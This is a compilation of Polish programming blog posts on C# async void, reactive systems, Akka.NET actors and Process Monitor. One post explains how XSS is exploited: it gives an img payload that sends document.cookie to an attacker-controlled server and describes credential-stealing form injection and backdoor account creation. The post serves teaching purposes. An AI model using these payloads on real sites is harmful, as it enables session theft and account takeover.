Code review: Async void

Zaczynamy od razu od kodu:

    class Foo
    {
        public async void DoAsync()
        {
            await Task.Factory.StartNew(() =>
            {
                Thread.Sleep(2000);
                Console.WriteLine("DoAsync...");
            });
        }
    }

Dlaczego powyższy kod jest bardzo niebezpieczny? Nigdy nie należy używać async w połączeniu z void.
Przede wszystkim, użytkownik takiego kodu nie ma możliwości kontroli nad stworzonym wątkiem. Nie wiadomo, kiedy powyższa metoda zakończy się. Wywołanie będzie zatem wyglądać następująco:

    class Program
    {
        static void Main(string[] args)
        {
            Foo foo = new Foo();
            foo.DoAsync();

            Console.WriteLine("End");
            Console.ReadLine();
        }
    }

DoAsync tworzy nowy wątek i wykonuje jakiś kod w osobnym wątku. Ze względu na to, że metoda nie zwraca wątku, nie można użyć await lub Wait(). Jedynie możemy domyślać się, że po pewnym czasie zadanie zostanie wykonane.

Kolejnym problemem jest brak możliwości przetestowania takiej metody. Skoro niemożliwe jest wyznaczenie momentu zakończenia zadania, napisanie poprawnego i stabilnego testu również nie jest łatwe.

Jeszcze większe problemy będziemy mieli w momencie wyrzucenia wyjątku:

    class Foo
    {
        public async void DoAsync()
        {
            await Task.Factory.StartNew(() =>
            {
                Thread.Sleep(2000);
                throw new ArgumentException();
            });
        }
    }

Załóżmy, że kod klienta wygląda następująco:

        static void Main(string[] args)
        {
            Foo foo = new Foo();
            try
            {
                foo.DoAsync();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            }

            Console.WriteLine("End");
            Console.ReadLine();
        }

Powyższy kod nigdy nie złapie wyjątku. Ponieważ DoAsync tworzy nowy wątek i nie czeka na jego zakończenie, wyjątek zostanie wyrzucony bezpośrednio do SynchronizationContext. Wątek jest wyrzucany w losowe miejsce, gdzie nie mamy kontroli. Z tego wynika, że wyjątek spowoduje zakończenie procesu. Metoda async void, zatem może zakończyć działanie procesu (poprzez wyrzucenie wyjątku) bez możliwości jego wyłapania – to bardzo niebezpieczne.

Zdefiniujmy teraz klasę foo w prawidłowy sposób:

    class Foo
    {
        public async Task DoAsync()
        {
            await Task.Factory.StartNew(() =>
            {
                Thread.Sleep(2000);
                throw new ArgumentException();
            });
        }
    }

Dzięki temu, że zwracamy Task, możliwe jest użycie słowa kluczowego await:

       private static async Task TestAsync()
        {
            Foo foo = new Foo();
            try
            {
                await foo.DoAsync();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
        }

Wyjątek zostanie wyłapany tak jak tego spodziewamy się.
Prawie zawsze zatem należy zwracać Task albo Task<T> – nawet jeśli wersja synchroniczna była typu void. Wyjątek stanowią event handler’y. Wynika to z definicji delegaty EventHandler. Warto jednak zwrócić uwagę, że handler’ów nie testujemy bezpośrednio oraz nie ma sensu owijać ich w try-catch. Jakakolwiek obsługa błędów jest w wewnątrz handler’a. Z tego względu jest to dopuszczalne i bezpieczne.

Wyjątku nie stanowią testy jednostkowe. Poniższy test jest również błędny:

[Test]
public async void Should_...().
{
      await _sut.DoAsync();

      Assert....
}

Prawidłowy test to oczywiście:

[Test]
public async Task Should_...().
{
      await _sut.DoAsync();

      Assert....
}

Framework nUnit w pewnej wersji (nie pamiętaj dokładnie, możliwe, że w 2.6) wspierał async void. Autorzy musieli napisać sporo kodu, aby móc obsługiwać takie testy. Od wersji 3.0 jednak, ta funkcjonalność (która była trochę hack’iem) została usunięta. W wersji 3.0 wyłącznie testy async task są wspierane i mogą być uruchamiane.

Programowanie reaktywne

Zanim będę kontynuował serię o AKKA.NET, warto zapoznać się z podstawami programowania reaktywnego. Pozwoli to później zrozumieć, w jaki sposób AKKA.NET implementuje założenia programowania reaktywnego.
Dzisiaj zatem przedstawienię tzw. “The Reactive Manifesto”, którego pełną treść można znaleźć tutaj. Moim zdaniem jednak, manifest może wydawać się trochę skomplikowany i dlatego zdecydowałem się wyjaśnić to po swojemu.

Zastanówmy się po co nam kolejny “typ” programowania? Co jest złego z naszym starym, klasycznym podejściem klient-serwer? Jak nie trudno domyślić się, wymagania i oczekiwania dla dzisiejszych systemów są inne niż te 10 lat temu. Zamiast pojedynczych serwerów, mamy całe klastry. Przez ogólną dostępność komputerów (PC, Mobile itp.), przetwarzamy dane nie w gigabajtach ale w terabajtach. Model oprogramowania także zmienił się. Większość systemów stanowią usługi, a nie oprogramowanie desktopow’e, pakowane w kartony i sprzedawane w sklepach. Oczekiwania są, aby te usługi działały jak najdłużej bez żadnych usterek. Oczywiście ciężko dostarczyć oprogramowanie, które działa 100% czasu, ale możliwe jest uzyskanie niezawodności np. w 99% czasu. Dostępność różnych urządzeń dostępowych, typu tablet czy telefon komórkowy, powoduje, że użytkownicy nie chcą czekać kilku sekund na odpowiedź od serwera, a mieć rezultat w przeciągu milisekund.

Jak sama nazwa mówi, programowanie reaktywne, cechuje się, że poszczególne komponenty w odpowiedni sposób reagują (react). Na co zatem nasze systemy powinny reagować?

Zdarzenia
Przede wszystkim powinny reagować na zdarzenia. Systemy reaktywne opierają się na zdarzeniach, a nie na zapytaniach typu klient-serwer. W nServiceBus czy AKKA.NET mamy właśnie zdarzenia w postaci asynchronicznych wiadomości. Aktor wysyłając wiadomość do innego aktora, nie blokuje wykonywania procesu. Komponenty komunikujące się za pomocą zdarzeń są powiązane ze sobą w luźny sposób. Jeśli klasa A komunikuję się z klasą B, nie musimy przechowywać żadnej referencji z instancji A do B. Jedyną, luźną zależnością jest wiadomość\zdarzenie.

Dane, obciążenie
Systemy reaktywne muszą również reagować na dane, które przekazywane mogą być z różną intensywnością. Innymi słowy, system powinien być skalowalny. Powinien odpowiednio reagować na małą liczbę zapytań, jak i bardzo dużą. W przypadku niewystarczających zasobów, system powinien zareagować poprzez skalowanie. Jednym z typów skalowania (tzw. scaling-up), jest użycie więcej pamięci czy rdzeni procesora, poprzez np. wielowątkowość. Czasami jednak taka skalowalność jest niewystarczająca i trzeba szukać zasobów na zewnątrz (tzw. scaling out). Zasoby na zewnątrz to oczywiście kolejny serwer dołączony do klastra.

Ogromną rolę w reagowaniu na obciążenie odgrywają wcześniej opisane zdarzenia. Skoro dwie klasy nie są ze sobą mocno powiązane, wtedy nie współdzielą ze sobą żadnego stanu. Co za tym idzie, nic nie stoi na przeszkodzie, aby jedna z klas była wykonywana na kompletnie innym komputerze. Jeśli cały stan zawarty jest w wiadomości, nie ma dla nas różnicy czy przekażemy go w tym samym procesie np. do innego wątku,czy wyślemy przez sieć do innego klastra. Taka właściwość nazywa się “location transparency”, ponieważ raz zaimplementowana logika, może być skalowana bez żadnych zmian w kodzie. AKKA.NET posiada tą właściwość. Implementując jakiś algorytm za pomocą aktorów, można część z nich umieścić na różnych komputerach (tzw. remote actor). Lokalizacja aktorów zatem nie ma znaczenia – mogą znajdować się w tym samym procesie albo na innych komputerach, a i tak zaimplementowany algorytm będzie miał taki sam kod.

Wyjątki i błędy
Systemy reaktywne powinny również reagować w odpowiedni sposób na wszelkie błędy. AKKA.NET posiada szereg strategii obsługi wyjątków o których napiszę w przyszłych postach. System jednak nie powinien przestawać działać w momencie, gdy mało istotny błąd miał miejsce. Dokonuje się tego np. poprzez izolację. Jeśli aktor A ma jakieś błędy, można go odseparować od reszty, aby nie popsuć stanu aplikacji. Innymi słowy, system powinien wrócić do działania w momencie wystąpienia błędu (failure receovery). Jeśli np. nie można połączyć się z jakąś usługą, można spróbować ponownie za kilka sekund, zamiast całkowicie anulować operację.
Aktorzy w AKKA.NET tworzą hierarchie. Jeśli jeden z aktorów ma błędy, jego rodzic decyduje, co z błędem należy zrobić. Można np. powtórzyć operację, zrestartować aktora lub przekazać odpowiedzialność do kolejnego aktora, który zdecyduje co należy zrobić z węzłami podrzędnymi.
Jak widzimy, dobrą obsługę błędów również uzyskujemy za pomocą wspomnianych zdarzeń. Izolacja czy replikacja nie byłoby możliwa bez nich. Za pomocą zdarzeń, można komunikować się między aktorami. Jeśli błąd wystąpił w klastrze A, można spróbować w innym klastrze. Stan nie jest współdzielony, zatem odseparowanie pojedynczego węzła jest łatwe i nie powoduje proliferacji problemu do innych aktorów\węzłów.

Responsywność
Ostatnią, najłatwiejszą w zrozumieniu cechą, jest responsywność. Systemy reaktywne powinny reagować na użytkowników. Jeśli operacja jest czasochłonna, należy powiadomić o tym użytkownika. Znowu uzyskujemy to za pomocą zdarzeń. Zamiast wysłania pojedynczego zapytania i czekania aż operacja wykona się, korzystamy z asynchronicznych wiadomości, które nie blokują wykonywania.
Oczywiście responsywność jest również uzyskana za pomocą skalowalności i poprawnej obsługi błędu. Jeśli jest duża liczba zapytań, dzięki skalowalności system nie powinien być powolny. Obsługa błędów, zagwarantuje, że użytkownik zawsze jest świadom co się dzieje i nie zastanie np. pustej strony, gdy operacja nie powiodła się.

Spójrzmy zatem na słynny diagram, który można znaleźć na stronie “The Reactive Manifesto” (źródło: http://www.reactivemanifesto.org:

“Message-driven” to wspomniane zdarzenia, wiadomości.
“Responsive” to oczywiście responsywność systemu.
“Resilent” to prawidłowa obsługa błędów. Innymi słowy, system powinien być elastyczny (resilent) na błędy i dostosowywać się do sytuacji.
“Elastic” to skalowalność. System powinien być na tyle elastyczny, aby obsługiwać zarówno małą liczbę zapytań jak i bardzo dużą.

Ponadto z oznaczeń na rysunku, możemy zaobserwować:
– Dzięki zdarzeniom uzyskujemy zarówno elastyczność\skalowalność (location transparency), responsywność (nie blokujemy wywołań) oraz Resilent (izolacja błędów, replikacja w innym klastrze).
– Skalowalność (elastic) oraz obsługa błędów (resilence) są ze sobą tak naprawdę powiązane. Gdyby nie skalowalność i location transparency, nie moglibyśmy na przykład wykonać operacji w innym klastrze. Gdyby, nie prawidłowa obsługą błędów, awaria w innych punkcie systemu, zniszczyła by wszystkie węzły, niwelując korzyści ze skalowalności.
– Responsywność nie byłaby możliwa dzięki skalowalności (wydajność), jak i prawidłowej obsługi błędów (nie zostawianie użytkownika bez odpowiedzi w przypadku błędów).

AKKA.NET – przełączanie stanów

Zanim przejdziemy do konkretnych problemów, musimy poznać przynajmniej podstawowe elementy AKKA.NET. W poprzednim wpisie opisałem jak definiować wiadomości oraz aktorów. Dzisiaj przejdziemy do kolejnego, bardzo ważnego elementu – przełączanie stanów. Jest to podstawowy element zarówno w modelu aktor, jak i w jakichkolwiek maszynach stanów (FSM). W poprzednim przykładzie przelewu środków z jednego konta na drugie, użyliśmy właśnie przełączania stanów. Dla przypomnienia:

class TransferActor
{
    public void OnTransferMessageReceived(TransferMessage transferMessage)
    {
        ActorsSystem.GetActor(transferMessage.From).Send(new WithdrawMessage(transferMessage.Amount));
         
        Context.Become(AwaitFrom(transferMessage.From,transferMessage.To,transferMessage.Amount));
    }
 
    public void AwaitFrom(string from, string to, int amount)
    {
        ActorsSystem.GetActor(to).Send(new DepositMessage(amount));
        Context.Became(AwaitTo(transferMessage.From, transferMessage.To, transferMessage.Amount));
    }
}

Po otrzymaniu zapytania o przesłaniu pieniędzy, przełączamy się w stan AwaitFrom. Po otrzymaniu potwierdzenia, składamy depozyt i znów czekamy na potwierdzenie.

W AKKA.NET zmiana stanu odbywa się za pomocą metody Become:

    public class SampleActor : UntypedActor
    {
        protected override void OnReceive(object message)
        {
            Console.WriteLine("Otrzymano wiadomosc ze stanu I {0}",message);
            Become(GoToState2);
        }

        private void GoToState2(object message)
        {
            Console.WriteLine("Otrzymano wiadomosc ze stanu II {0}", message);
        }
    }

Po otrzymaniu pierwszej wiadomości, przełączamy się do stanu drugiego, reprezentowanego przez metodę GoToState2. Od tego momentu wszystkie wiadomości będą obsługiwane przez GoToState2, a nie OnReceive. Odpalmy zatem następujący kod:

            var system = ActorSystem.Create("JakasNazwa");
            var actor1 = system.ActorOf<SampleActor>();


            for (int i = 0; i < 10; i++)
            {
                actor1.Tell(i.ToString());
            }

Na ekranie zobaczymy najpierw tekst “Otrzymano wiadomosc ze stanu I”, a potem 9 razy “Otrzymano wiadomosc ze stanu II”.

Druga przydatna i alternatywna metoda to BecomeStacked. Podobnie jak Become służy do przełączania stanu. Tym razem jednak, stan będzie przechowywany na stosie, zatem będzie można go potem zdjąć i powrócić do poprzedniego. Przykład:

   public class SampleActor : UntypedActor
    {
        protected override void OnReceive(object message)
        {
            Console.WriteLine("Otrzymano wiadomosc ze stanu I {0}",message);
            BecomeStacked(GoToState2);
        }

        private void GoToState2(object message)
        {
            Console.WriteLine("Otrzymano wiadomosc ze stanu II {0}", message);
            UnbecomeStacked();
        }
    }

Po odpaleniu, na zmianę będziemy mieć stan I oraz II. Oczywiście nie jesteśmy ograniczeni wyłącznie do dwóch stanów.

Bezpieczeństw web: Jak XSS może być wykorzystany?

W poprzednich wpisach z tego cyklu, opisałem podstawowe typy XSS (Stored, Reflected, DOM-based).
Dzisiaj podam kilka przykładów pokazujących do czego XSS może być wykorzystany.

Przejęcie sesji
Jest to chyba jeden z najczęściej pokazywanych przykładów. Możemy wkleić np. obrazek lub link, zawierający link do naszego serwera. Jako parametr wywołania, za pomocą JavaScript możliwe jest odczytanie ciasteczek użytkownika, które z kolei zawierają identyfikator sesji. Przykład:

<img src=http://www.NaszSerwer.com/images/+document.cookie'/>

Oczywiście ma to wadę – musimy monitorować nasz serwer w celu sprawdzenia, czy ktoś aktualnie jest zalogowany. Identyfikator sesji wygasa, zatem atak ma swoje ograniczenia, jeśli nie jest poprawnie zautomatyzowany. W najprostszej formie polega na monitorowaniu własnego serwera i w przypadku uzyskania sesji, zalogowanie się do atakowanej strony za pomocą sesji. Dopóki sesja nie straci ważności (np. kiedy użytkownik wyloguje się), będziemy mieli nieograniczony dostęp. Z tego względu, użytkownicy zawsze powinni wylogowywać się, jeśli nie korzystają już z danej strony.

Website defacement
Kolejnym, często wykorzystywanym typem ataku, jest “Website defacement”, czyli wklejenie dowolnej treści jako zawartość strony. Najbardziej prymitywne sposoby, to po prostu zaśmiecenie strony reklamami czy treścią niepasującą do danej strony.
Bardziej wyrafinowane ataki, zmodyfikują treść w taki sposób, aby nie było to oczywiste dla każdej osoby. Na przykład, można zmodyfikować ceny usług, adres czy numery kontaktowe. Taki atak może nie być spostrzeżony zbyt szybko, a spowoduje utratę pewnych klientów (np. przez zbyt wysokie ceny lub złe dane adresowe\kontaktowe).

Wstrzykiwanie formularzy
Za pomocą JavaScript możemy zdziałać naprawdę bardzo dużo. Możemy również wstrzyknąć pełny formularz, który będzie wysyłać dane do naszego serwera. Skrajnym przypadkiem jest formularz do logowania. Można np. za pomocą JS wstrzyknąć formularz, który najpierw wysyła login i hasło do naszego serwera, a potem przekazuje je do oryginalnego, prawdziwego formularza. Dzięki temu, atak jest niewidzialny. Użytkownik faktycznie byłby zalogowany do prawdziwej strony, ale nie miałby pojęcia, że w w międzyczasie jego dane zostały wysyłane do zewnętrznego serwera. Atak stanowi wyrafinowaną formę phishing. Bardziej ostrożni użytkownicy, przed wpisaniem hasła sprawdzą certyfikat strony oraz link z którego korzystają. W tym problem, że w przypadku XSS korzystają oni z tej samej domeny, więc bardzo ciężko byłoby im spostrzec, że formularz został podmieniony.

Wykorzystywanie ofiary do przeprowadzenia kolejnych ataków
W pierwszym punkcie o wykradnięciu sesji, napisałem, że trzeba monitorować własny serwer, aby wiedzieć, kiedy dana sesja jest aktywna. Alternatywą jest, przeprowadzenie jakichkolwiek ataków za pomocą ofiary. Innymi słowy, zamiast wykradać jego sesję, lepiej spowodować, aby np. spróbował stworzyć nowe konto.

Jeśli dana osoba, ma uprawnienia administratora, wtedy zamiast wykradać jego sesje i tworzyć nowe konto dla nas, moglibyśmy w jego imieniu, stworzyć nowe konto. Analogicznie z innymi atakami, np. SQL Exception. Atak stanie się zatem zautomatyzowany – każdy użytkownik logujący się do systemu, będzie próbował stworzyć dla nas konto (backdoor). Po pewnym czasie, prawdopodobnie zaloguje się osoba z odpowiednimi pozwoleniami (administrator) i operacja zakończy się sukcesem.

Ponadto, wszelkie logi nie będą prowadzić do nas. Jeśli ktoś stworzy nowe konto dla nas, w logach systemowych będzie jego adres IP, a nie nasz.

Wykradnięcie danych z autocomplete
W JavaScript można odbierać zdarzenia AutoComplete. Jeśli zatem przeglądarka ma w cache nazwę użytkownika lub hasło, wtedy możliwe jest przesłanie danych do zewnętrznego serwera. Atak wygląda podobnie do wykradnięcia sesji. Po prostu zamiast odczytywania ciasteczek, podłączamy się pod autocomplete.

To tylko “klasyczne” przypadki. W Internecie znajduje się wiele innych przykładów, które były wykorzystane przeciwko Amazon czy MySpace. Część z nich w działaniu przypomina klasyczne wirusy, które potrafią się rozprzestrzeniać z jednej strony na drugą. Pamiętajmy jedno – każdy z opisanych dotychczas ataków (SQL injection, XSS) może być tak eskalowany, że spowoduje całkowite przejęcie kontroli nad daną infrastrukturą.

Akka.net – pierwszy przykład

W ostatnich dwóch wpisach pokazałem zasady działania modelu aktor. W kolejnych postach będę korzystał już z Akka.net zamiast pseudokodu. Dzisiaj czysty opis podstaw API – bez konkretnego problemu do rozwiązania.

Akka.net można zainstalować w formie pakietu Nuget:

Install-Package Akka

Następnie definiujemy wiadomość za pomocą zwyklej klasy typu immutable:

    public class TransferMoney
    {
        public string From { get; private set; }
        public string To { get; private set; }

        public TransferMoney(string from,string to)
        {
            From = @from;
            To = to;
        }
    }

Każdy aktor powinien dziedziczyć np. po ReceiveActor:

    public class TransferMoneyActor : ReceiveActor
    {
        public TransferMoneyActor()
        {
            Receive<TransferMoney>(msg =>
            Console.WriteLine("Transferring money from {0} to {1}", msg.From, msg.To));
        }
    }

Za pomocą Receive definiujemy, jakie wiadomości chcemy obsługiwać. Powyższa klasa zatem będzie odbierać wiadomości typu TransferMoney.
W akka.net aktorzy egzystują w tzw. ActorSystem. Aktorzy z dwóch różnych systemów są od siebie odizolowani. Inicjacja nowego systemu jest prosta:

var system = ActorSystem.Create("JakasNazwa");

Jak wiemy, aktorzy należą do konkretnych systemów, zatem w celu stworzenia aktora należy:

var actor1 = system.ActorOf<TransferMoneyActor>();

Wysłanie wiadomości odbywa się za pomocą metody Tell. Całość wygląda więc następująco:

var system = ActorSystem.Create("JakasNazwa");

var actor1 = system.ActorOf<TransferMoneyActor>();

actor1.Tell(new TransferMoney("nadawca", "odbiorca"));

Z poprzednich wpisów pamiętamy, że wiadomości są kolejkowane i wykonywane asynchronicznie. Stwórzmy zatem następującego aktora:

   public class TransferMoneyActor : ReceiveActor
    {
        public TransferMoneyActor()
        {
            Receive<TransferMoney>(DoWork,shouldHandle:null);
        }

        private void DoWork(TransferMoney msg)
        {
            Console.WriteLine("{0}:{1}",DateTime.Now,Thread.CurrentThread.ManagedThreadId);

            Thread.Sleep(5000);
        }
    }

Jeśli faktycznie wiadomości są kolejkowane i wykonywane jedno po drugim, wtedy powinniśmy zawsze widzieć ten sam identyfikator wątku w odstępach dokładnie 5 sekund. W celu udowodnienia, że zadania są wykonywane asynchronicznie, w pętli wyślemy 10 wiadomości:

            for (int i = 0; i < 10; i++)
            {
                Console.WriteLine("{0}: Wysylanie wiadomosci nr {1}", DateTime.Now,i);
                actor1.Tell(new TransferMoney("nadawca", "odbiorca"));
            }

Jeśli są synchronicznie wykonywane, wtedy po wyświetleniu tekstu “Wysylanie wiadomosci nr…”, powinniśmy zobaczyć numer wątku. Jeśli z kolei wykonywane są asynchronicznie, tak jak tego spodziewamy się, wtedy metoda Tell powinna wyłącznie umieścić wiadomość w kolejce.

Screenshot potwierdzający założenia:

tasks

W następnym wpisie, zajmiemy się znów jakimś problemem wielowątkowym, który najpierw rozwiążemy w “klasyczny sposób” z użyciem blokad, a później za pomocą modelu aktor.

Znajdowanie brakującej biblioteki

Szukanie lokalizacji danej biblioteki może być skomplikowane. W zależności od skonfigurowanego binding’u, inne foldery są przeszukiwanie. Wyjątek jaki dostaniemy w przypadku braku jednej z bibliotek jest następujący:

Could not load file or assembly 'nazwa' or one of its dependencies. 
The system cannot find the file specified.

Problem stanowi druga część – “or one of its dependencies’. Wyjątek nie zawsze powie nam, której biblioteki brakuje nam. Jeszcze większe problemy natrafimy, gdy użyjemy natywnej referencji.

Ostatnio miałem problemy z pewnym kodem i użyłem programu Process Monitor. Aplikacja może nie jest zbyt intuicyjna, ale pozwala w dość szybki sposób prześledzić wszystkie wiązania i brakujące biblioteki.

Domyślnie pokazuje wszystkie procesy, zatem po jej odpaleniu, ustawiłem filtr pokazujący wyłącznie program, który chcę przeanalizować (w tym przypadku ConsoleApplication6.exe). Z menu głównego wybieramy Filter->Filter…:

filter1

Ponadto ustawiłem dwa dodatkowe filtry. Jeden, wyświetla wyłącznie zdarzenia, które w rezultacie mają “NAME NOT FOUND”. Drugi filtr wyświetli wyłącznie wpisy, w których ścieżka kończy się na “dll”. Przykład:

filter1

Dzięki temu, łatwiej będzie nam przeanalizować wszystkie zdarzenia, które mają miejsce w danym procesie. Bez tego, ciężko byłoby wszystko zrozumieć.

Po uruchomieniu ConsoleApplication6, Process Monitor powie nam, których bibliotek nie udało załadować się:

filter1

W tym przypadku (nie trudno domyślić się, sztucznie stworzonym) brakuje ClassLibrary2. W prawdziwych systemach, zwykle mamy bardzo wiele zależności i nie jest wtedy już to takie proste do zgadnięcia bez Process Monitor.

Wielowątkowość: przykład modelu aktor

W ostatnim wpisie przedstawiłem zasadę działania modelu aktor. Zachęcam do przeczytania poprzedniego wpisu ponieważ dzisiaj skupię się na przykładzie, a nie podstawach teoretycznych. Jeśli poprzedni wpis nie był do końca zrozumiały, zachęcam do przeanalizowania przykładu z tego wpisu i potem powrócenia do poprzedniego postu – wtedy myślę, że wiele zagadnień będzie prostsze w zrozumieniu.

Poniższe przykłady należy traktować jako pseudokod. Stanowią one szkic wzorca aktor, a nie jego implementację. Do implementacji w kolejnych wpisach będę używał akka.net, ale moim zdaniem najważniejsze jest zrozumienie zasad, a nie nauczenie się kolejnego framework’a. Z tego względu, bardziej będę skupiał się na rozwiązywaniu różnych problemów wielowątkowych (np.problem ucztujących filozofów), a nie dokumentacji API.

Załóżmy, że chcemy rozwiązać klasyczny problem przelewu pieniędzy z jednego konta na drugie. W najprostszej postaci, będziemy mieli następującą klasę:

     class BankAccount
     {
         private int _Balance;


         public void Deposit(int amount)
         {
             _Balance += amount;
         }

         public void Withdraw(int amount)
         {
             if (amount <= _Balance)
                 _Balance -= amount;
             else
                 throw new ArgumentOutOfRangeException();
         }
     }

Oczywiście powyższy kod nie jest thread-safe, dlatego należy użyć blokady:

     class BankAccount
     {
         private int _Balance;
         private object _sync=new object();

         public void Deposit(int amount)
         {
             lock(_sync)
             {
               _Balance += amount;
             }
         }

         public void Withdraw(int amount)
         {
             lock(_sync)
             {
                 if (amount <= _Balance)
                    _Balance -= amount;
                 else
                    throw new ArgumentOutOfRangeException();
             } 
         }
     }

Kolejne zadanie to przetransferowanie pieniędzy z jednego konta na drugie. Klasyczne, błędne rozwiązanie to:

lock(accountA)
{
   lock(accountB)
   {
        accountA.Withdraw(5);
        accountB.Deposit(5);
   }
}

Oczywiście powyższy kod zakończy się deadlock, jeśli w tym samym czasie będziemy chcieli przelać pieniądze z konta A do B oraz z B do A.  Prawidłowe rozwiązanie to np. sortowanie blokad, przedstawione tutaj.

Wróćmy jednak do wzorca aktor. Stanowi on po prostu wyższy poziom abstrakcji dla wątków. Z poprzedniego wpisu wiemy, że aktorzy komunikują się za pomocą wiadomości, tak jak np. instancje w systemie kolejkowym. Zdefiniujmy zatem dwie wiadomości, dla depozytu i wycofywania środków:

     public class DepositMessage
     {
         public int Amount { get; }

         public DepositMessage(int amount)
         {
             Amount = amount;
         }
     }

     public class WithdrawMessage
     {
         public int Amount { get; }

         public WithdrawMessage(int amount)
         {
             Amount = amount;
         }
     }

Proszę zauważyć, że są one immutable – zawsze chcemy uniknąć współdzielenia stanu między różnymi aktorami. Następnie aktor, będzie obsługiwał wiadomości w sposób asynchroniczny:

     class BankAccountActor
     {
         private int _balance;

         public void OnReceive(object message)
         {
             if (message is WithdrawMessage)
             {
                 var withdrawMessage = ((WithdrawMessage)message);
                 if (withdrawMessage.Amount <= _balance)
                     _balance -= withdrawMessage.Amount;
             }

             if (message is DepositMessage)
             {
                 _balance += ((DepositMessage)message).Amount;
             }
         }
     }

Metoda OnReceive będzie wywoływana przez framework, w momencie otrzymania konkretnej wiadomości. Jak wspomniałem, przypomina to klasyczny system kolejkowy, ale OnReceive zawsze MUSI być wykonywane jedno po drugim. Jeśli dwie wiadomości przyjdą w tym samym czasie, mamy zagwarantowane, że OnReceive nie będzie wykonywane równocześnie z dwóch różnych wątków. Obsługa zatem może wyglądać następująco:


while(true)
{
    var message = blockingCollection.Dequeue();
    actor.OnReceive(message);
}

Z tego względu, nie musimy umieszczać w tych metodach żadnych blokad (brak współdzielonego stanu).
Następnie chcemy mieć możliwość transferu środków z jednego konta do drugiego. Zdefiniujmy zatem kolejną wiadomość:

     class TransferMessage
     {
         public string From { get; }
         public string To { get; }
         public int Amount { get; }

         public TransferMessage(string from, string to, int amount)
         {
             From = @from;
             To = to;
             Amount = amount;
         }
     }

Aktorzy mogą tworzyć hierarchie, w której jeden aktor zarządza kolejnymi. W naszym przypadku będziemy mieli dwa typy aktorów: TransferMoneyActor oraz BankAccountActor. Pierwszy z nich służy do koordynowania przepływu środków.

Najpierw implementujemy obsługę wiadomości TransferMessage:

     class TransferActor
     {
         public void OnTransferMessageReceived(TransferMessage transferMessage)
         {
             ActorsSystem.GetActor(transferMessage.From).Send(new WithdrawMessage(transferMessage.Amount));
             
             Context.Become(AwaitFrom(transferMessage.From,transferMessage.To,transferMessage.Amount));
         }

W momencie otrzymania TransferMessage, zostanie wysłana wiadomość do aktora, który reprezentuje konto nadawcy. Pamiętajmy, że wszystkie operacje są asynchroniczne, zatem stanowią model “fire&forget”. TransferActor jednak musi dowiedzieć się, czy środki zostały prawidłowo zdjęte z konta nadawcy. Z tego względu, jedną z bardzo ważnych właściwości aktorów jest zmiana kontekstu. W powyższym przykładzie chcemy zmienić kontekst w tryb oczekiwania na odpowiedź od nadawcy. Służy zwykle do tego metoda “Become”. Aktor zatem staje się aktorem oczekującym na odpowiedź od nadawcy. Odpowiedź przyjdzie oczywiście w formie kolejnej wiadomości:

     class MoneyWithdrawn
     {
         public ActorRef ActorRef { get;  }
         public int Amount { get;  }

         public MoneyWithdrawn(ActorRef actorRef,int amount)
         {
             ActorRef = actorRef;
             Amount = amount;
         }
     }

Następnie w momencie potwierdzenia wycofania pieniędzy, możemy wysłać wiadomość w celu umieszczenia środków na innym koncie:

     class TransferActor
     {
         public void OnTransferMessageReceived(TransferMessage transferMessage)
         {
             ActorsSystem.GetActor(transferMessage.From).Send(new WithdrawMessage(transferMessage.Amount));
             
             Context.Become(AwaitFrom(transferMessage.From,transferMessage.To,transferMessage.Amount));
         }

         public void AwaitFrom(string from, string to, int amount)
         {
             ActorsSystem.GetActor(to).Send(new DepositMessage(amount));
             Context.Became(AwaitTo(transferMessage.From, transferMessage.To, transferMessage.Amount));
         }

Analogicznie, aktor przechodzi w kolejny stan, oczekiwania na potwierdzenie złożenia depozytu. Potwierdzenie przyjdzie w formie kolejnej wiadomości:

     class TransferActor
     {
         public void OnTransferMessageReceived(TransferMessage transferMessage)
         {
            ActorsSystem.GetActor(transferMessage.From).Send(new WithdrawMessage(transferMessage.Amount));
             
             Context.Become(AwaitFrom(transferMessage.From,transferMessage.To,transferMessage.Amount));
         }

         public void AwaitFrom(string from, string to, int amount)
         {
             ActorsSystem.GetActor(to).Send(new DepositMessage(amount));
             Context.Became(AwaitTo(transferMessage.From, transferMessage.To, transferMessage.Amount));
         }

         public void AwaitTo(string from, string to, int amount)
         {
             Context.Finished();
         }

Widzimy, że każda operacja jest atomowa (pod warunkiem, że przetwarzanie wiadomości nie jest współbieżne). To bardzo ważna cecha systemów opartych na aktorach – należy rozszerzać hierarchie o tyle poziomów, aby konkretne zadanie było łatwe w implementacji. Przez “łatwe” mam na myśli sytuację, w której nie musimy korzystać z blokad.

Model dla prostych problemów (takich jak powyższy) jest moim zdaniem zła praktyką i przykładem over-engineering’u. Dla bardziej skomplikowanych problemów, znacząco to ułatwia zapobiegnięcie zakleszczeniom. Tak jak wspomniałem, aktor to pewien poziom abstrakcji. Ta abstrakcja daje nam ogromne możliwości skalowania – od problemu rozwiązywanego współbieżnie na np. 4 procesorach do środowiska opartego na wielu komputerach połączonych w sieć. Jeśli aktor jest abstrakcyjny, nic nie stoi na przykładzie, aby umieścić go na osobnym komputerze i przesyłać wiadomości za pomocą TCP. Jak widać, można skalować rozwiązanie od jednego procesu po wiele usług webowych komunikujących się dowolnymi sposobami (HTTP, systemy kolejkowy, TCP itp.). Użycie prostej blokady jest dobre, ale nie posiada żadnej abstrakcji – ogranicza nas do jednego procesu.

Wielowątkowość: Wzorzec aktor (actor based programming)

W kolejnych wpisach chciałbym opisać framework akka.net. Zanim jednak przejdę do opisu API, warto poświęcić chwilę (myślę, że około dwa wpisy) na zasadę działania “actor model”.

Aktor jest modelem budowania aplikacji wielowątkowych. Powstał w celu ułatwienia synchronizacji między różnymi wątkami. Programiści piszący aplikacje wielowątkowe zwykle korzystają z klasycznych blokad (lock) w celu opisania sekcji krytycznej. W wielu sytuacjach jest to najlepszy i najprostszy sposób. Niestety dla dużych i skomplikowanych systemów, utrzymywanie takiego kodu jest bardzo trudne, mozolne i niezwykłe podatne na powstanie deadlock lub livelock.

Dzięki odpowiedniemu podziałowi kodu, można uniknąć powyższych problemów na poziomie projektu klas. Wspomniany aktor to nic innego jak klasa, która spełnia pewne wymagania:
– przechowuje stan (zawiera np. pola lub właściwości)
– implementuje logikę (zawiera zatem metody)
– jest reprezentowana przez wątek
– komunikuje się z innymi aktorami za pomocą asynchronicznych wiadomości
– wiadomości nie mogą być modyfikowalne (zatem są “immutable”).
– aktor może przetwarzać wyłącznie jedną wiadomość danym momencie – pozostałe są kolejkowanie
